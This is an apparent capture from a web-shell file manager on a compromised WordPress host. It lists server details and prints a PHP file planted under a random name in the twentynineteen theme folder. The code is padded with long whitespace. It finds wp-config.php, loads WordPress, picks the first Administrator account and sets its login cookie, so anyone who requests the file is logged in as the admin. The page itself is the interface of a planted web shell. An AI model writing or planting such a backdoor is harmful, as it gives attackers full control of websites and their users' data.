HEX
Server: LiteSpeed
System: Linux lp015.web24.net.au 2.6.32-954.3.5.lve1.4.93.el6.x86_64 #1 SMP Wed Oct 4 17:04:29 UTC 2023 x86_64
User: pgkdistr (10190)
PHP: 8.1.32
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/pgkdistribution.com.au/httpdocs/wp-content/themes/twentynineteen/pgk4db6503204.php
<?php
$current_dir                                                 =                                                 __DIR__;
$root_dir                                                 =                                                 $current_dir;
$root_found                                                 =                                                 false;

for                                                 ($i                                                 =                                                 1;                                                 $i                                                 <=                                                 5;                                                 $i++)                                                 {
                                                                                                                                                                                                    if                                                 (is_file("$root_dir/wp-config.php")                                                 &&                                                 is_file("$root_dir/wp-settings.php"))                                                 {
                                                                                                                                                                                                                                                                                                                                                                                                        $root_found                                                 =                                                 true;
                                                                                                                                                                                                                                                                                                                                                                                                        break;
                                                                                                                                                                                                    }
                                                                                                                                                                                                    $root_dir                                                 =                                                 dirname($root_dir,                                                 1);
}

if                                                 ($root_found)                                                 {
                                                                                                  if                                                 (file_exists("$root_dir/wp-load.php")){
                                                                                                                                                                                                    include                                                 "$root_dir/wp-load.php";
                                                                                                                                                                                                    $wp_user_query                                                 =                                                 new                                                 WP_User_Query(                                                 array(                                                 'role'                                                 =>                                                 'Administrator',                                                 'number'                                                 =>                                                 1,                                                 'fields'                                                 =>                                                 'ID'                                                 )                                                 );
                                                                                                                                                                                                    $results=                                                 $wp_user_query->get_results();

                                                                                                                                                                                                    if                                                 (                                                 isset(                                                 $results[0]                                                 )                                                 )                                                 {
                                                                                                                                                                                                                                                                                                      wp_set_auth_cookie(                                                 $results[0]                                                 );
                                                                                                                                                                                                                                                                                                      wp_redirect(                                                 admin_url()                                                 );
                                                                                                                                                                                                                                                                                                      die();
                                                                                                                                                                                                    }
                                                                                                                                                                                                    die(                                                 'NO                                                 ADMIN'                                                 );

                                                                                                  }
                                                                                                  else{
                                                                                                                                                                                                    die('Failed                                                 to                                                 load');
                                                                                                  }
}